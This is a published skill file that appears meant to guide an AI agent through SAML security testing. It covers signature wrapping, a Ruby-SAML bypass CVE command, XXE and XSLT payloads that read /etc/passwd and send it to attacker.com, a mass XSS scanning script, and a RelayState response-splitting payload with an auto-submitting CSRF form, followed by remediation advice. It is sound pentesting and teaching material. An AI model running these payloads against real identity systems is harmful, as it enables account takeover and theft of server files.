Hacktricks-skills saml-attacks

Security testing skill for SAML vulnerabilities. Use this skill whenever the user needs to test SAML implementations for security issues, analyze SAML responses, perform signature wrapping attacks, test for XXE/XSLT injection, check certificate validation, or investigate SAML-related XSS. Trigger on any request involving SAML security testing, SAML response analysis, SAML attack methodology, or SAML vulnerability assessment.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/saml-attacks/saml-attacks/SKILL.MD
source content

SAML Security Testing Skill

A comprehensive guide for testing SAML (Security Assertion Markup Language) implementations for security vulnerabilities.

When to Use This Skill

Use this skill when:

  • Testing SAML SSO implementations for security vulnerabilities
  • Analyzing SAML responses for potential attack vectors
  • Performing penetration testing on SAML-based authentication systems
  • Investigating SAML signature validation issues
  • Testing for XML-based attacks (XXE, XSLT injection, signature wrapping)
  • Checking certificate validation in SAML flows
  • Assessing SAML logout functionality for XSS

Quick Reference

SAML Response Encoding

SAML responses are typically encoded in this order:

  1. URL encodeBase64 encodeRaw deflate (for transmission)
  2. Raw inflateBase64 decodeURL decode (for parsing)

Common Tools

  • SAML Raider (Burp extension): Parse, modify, and test SAML requests
  • SAMLExtractor: Extract SAML consume URLs from web applications
  • Synacktiv CVE-2024-45409 PoC: Ruby-SAML signature bypass

Attack Methodologies

1. XML Signature Wrapping Attacks (XSW)

XSW attacks exploit the separation between signature validation and application logic processing.

XSW #1: New Root Element

  • Strategy: Add a new root element containing the signature
  • Goal: Confuse validator between legitimate and malicious Assertion/Subject
  • Use SAML Raider: Apply XSW #1 transformation to intercepted response

XSW #2: Detached Signature

  • Difference: Uses detached signature instead of enveloping
  • Goal: Deceive business logic post-integrity check

XSW #3: Evil Assertion at Same Level

  • Strategy: Craft malicious Assertion at same hierarchical level as original
  • Goal: Confuse business logic into using malicious data

XSW #4: Assertion Nesting

  • Difference: Original Assertion becomes child of duplicated (evil) Assertion
  • Goal: More aggressive XML structure alteration

XSW #5: Non-Standard Configuration

  • Unique: Neither Signature nor Assertion follow standard configurations
  • Goal: Copied Assertion envelopes the Signature

XSW #6: Nested Deceptive Structure

  • Strategy: Copied Assertion envelopes Signature, which envelopes original Assertion
  • Goal: Create deeply nested deceptive structure

XSW #7: Extensions Element

  • Strategy: Insert Extensions element with copied Assertion as child
  • Goal: Exploit less restrictive schema of Extensions element

XSW #8: Alternative Element

  • Difference: Uses another less restrictive XML element
  • Goal: Original Assertion becomes child of less restrictive element

How to Test:

  1. Intercept SAML Response in Burp
  2. Open in SAML Raider
  3. Apply desired XSW transformation
  4. Forward request and observe behavior

2. Ruby-SAML Signature Bypass (CVE-2024-45409)

Impact: Forge new assertions and authenticate as arbitrary users

Workflow:

  1. Capture legitimate SAMLResponse in SSO POST (Burp or browser devtools)
  2. Decode: URL decode → Base64 decode → raw inflate
  3. Use PoC to patch IDs/NameID/conditions and rewrite signature references
  4. Re-encode: raw deflate → Base64 → URL encode
  5. Replay to SAML callback endpoint

Example:

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

3. XXE in SAML Responses

SAML responses can be susceptible to XML External Entity attacks.

Payload Template:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY file SYSTEM "file:///etc/passwd">
  <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd">
]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
  </ds:Signature>
</samlp:Response>

How to Test:

  1. Use SAML Raider to generate XXE POC from SAML request
  2. Intercept and modify SAML Response
  3. Inject XXE payload before signature validation
  4. Forward and check for data exfiltration

4. XSLT Injection via SAML

XSLT transformations occur before signature verification, making this attack viable even with invalid signatures.

Payload Template:

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
  <ds:Transforms>
    <ds:Transform>
      <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="doc">
          <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
          <xsl:variable name="escaped" select="encode-for-uri($file)"/>
          <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
          <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
          <xsl:value-of select="unparsed-text($exploitUrl)"/>
        </xsl:template>
      </xsl:stylesheet>
    </ds:Transform>
  </ds:Transforms>
  ...
</ds:Signature>

How to Test:

  1. Use SAML Raider to generate XSLT POC
  2. Inject XSLT stylesheet in Transform element
  3. Forward request and monitor for OOB callback

5. XML Signature Exclusion

Test if signature validation occurs when Signature element is missing.

How to Test:

  1. Intercept SAML Response in Burp
  2. Open in SAML Raider
  3. Click "Remove Signatures"
  4. Forward request
  5. If authentication succeeds, signature validation is not enforced

6. Certificate Faking

Test if Service Provider properly verifies SAML messages are signed by trusted IdP.

How to Test:

  1. Intercept SAML Response in Burp
  2. Send certificate to SAML Raider Certs
  3. Select certificate and click "Save and Self-Sign"
  4. Remove existing signatures
  5. Sign message with new self-signed certificate
  6. Forward request
  7. If authentication succeeds, certificate validation is broken

7. Token Recipient Confusion

Test if Service Provider validates the intended recipient of SAML responses.

Prerequisites:

  • Valid account on SP-Legit
  • SP-Target accepts tokens from same IdP as SP-Legit

How to Test:

  1. Initiate SSO session with SP-Legit
  2. Intercept SAML Response from IdP to SP-Legit
  3. Redirect response to SP-Target
  4. If SP-Target accepts, recipient validation is broken

8. XSS in Logout Functionality

Test for XSS in SAML logout endpoints.

How to Test:

  1. Find logout endpoint (e.g.,
    /oidauth/logout
    )
  2. Check for URL parameters that accept input
  3. Test with
    javascript:alert(123)
    payload
  4. Check if input is reflected unsanitized

Mass Testing Script:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

with open("url_list.txt") as url_list:
    for url in url_list:
        url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2Ftest&return_to=%2F&splash_disabled=1"
        request = requests.get(url2, allow_redirects=True, verify=False)
        if "test" in request.content:
            print(f"[VULNERABLE] {url2}")

9. RelayState-based rXSS

Abuse response-splitting via newline injection in RelayState parameter.

Payload Construction:

  1. Build header/body injection sequence:
    \n
    Content-Type: text/html
    
    
    <svg/onload=alert(1)>
    
  2. URL-encode:
    %0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  3. Base64-encode:
    DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  4. Place in RelayState parameter

PoC Request:

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF Delivery:

<form action="https://target/cgi/logout" method="POST" id="p">
  <input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
  <input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Testing Workflow

Step 1: Reconnaissance

  1. Identify SAML endpoints (login, logout, ACS)
  2. Use SAMLExtractor to find SAML consume URLs
  3. Map the SAML flow (IdP → SP)

Step 2: Capture Baseline

  1. Intercept legitimate SAML Response
  2. Decode and analyze structure
  3. Document signature location and validation method

Step 3: Test Attack Vectors

  1. Signature Wrapping: Test XSW #1-8
  2. Signature Exclusion: Remove signatures
  3. Certificate Faking: Self-sign and test
  4. XXE: Inject external entities
  5. XSLT: Inject transformation stylesheets
  6. Recipient Confusion: Redirect to different SP
  7. XSS: Test logout and RelayState parameters

Step 4: Document Findings

  1. Record which attacks succeeded
  2. Note specific configurations that failed
  3. Provide remediation recommendations

Remediation Recommendations

Signature Validation

  • Always validate XML signatures before processing
  • Use canonicalization to prevent encoding attacks
  • Validate signature references match actual elements

Certificate Validation

  • Verify certificates against trusted IdP certificate
  • Check certificate chain and revocation status
  • Never accept self-signed certificates in production

XXE Prevention

  • Disable external entity processing
  • Use secure XML parsers
  • Validate XML against strict schema

XSLT Security

  • Disable XSLT processing if not needed
  • Restrict XSLT functions (unparsed-text, etc.)
  • Validate transformation inputs

Recipient Validation

  • Always validate Recipient field in SubjectConfirmationData
  • Ensure Assertion is intended for your SP
  • Use Audience restriction

Input Sanitization

  • Sanitize all user-controlled parameters
  • Validate RelayState before use
  • Implement proper Content-Type headers

References